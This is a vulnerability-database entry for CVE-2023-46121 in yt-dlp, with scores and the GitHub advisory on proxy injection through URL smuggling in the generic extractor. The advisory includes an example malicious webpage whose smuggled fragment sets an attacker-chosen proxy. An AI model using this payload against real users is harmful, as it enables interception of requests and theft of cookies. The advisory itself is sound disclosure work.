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CVE-2023-46121

MEDIUM
Published 2023-11-14T23:31:55.145Z
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CVSS Score

V3.1
5.0
/10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.001
probability
of exploitation in the wild

There is a 0.1% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.244
Higher than 24.4% of all CVEs

Attack Vector Metrics

Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED

Impact Metrics

Confidentiality
LOW
Integrity
LOW
Availability
LOW

Description

yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

yt-dlp

yt-dlp

Affected Versions:

>= 2022.10.04, < 2023.11.14

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed MODERATE

yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection

GHSA-3ch3-jhc6-5r8x

Advisory Details

### Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. <details> To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only. Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example. Additionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`. However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.** This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to **any** website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site. An example malicious webpage: ```html <!DOCTYPE html> <cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D') ``` Where `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through. </details> ### Patches - We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. ### Workarounds - Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content. - Take caution when using `--no-check-certificate`. ### References - <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x> - <https://nvd.nist.gov/vuln/detail/CVE-2023-46121> - <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14> - <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>

Affected Packages

PyPI yt-dlp
ECOSYSTEM: ≥2022.10.04 <2023.11.14

CVSS Scoring

CVSS Score

5.0

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

WEB https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2023-46121
WEB https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb
PACKAGE https://github.com/yt-dlp/yt-dlp
WEB https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14

Advisory provided by GitHub Security Advisory Database. Published: November 15, 2023, Modified: November 15, 2023

References

https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x
https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb
https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14
Published: 2023-11-14T23:31:55.145Z
Last Modified: 2024-08-29T15:19:23.948Z
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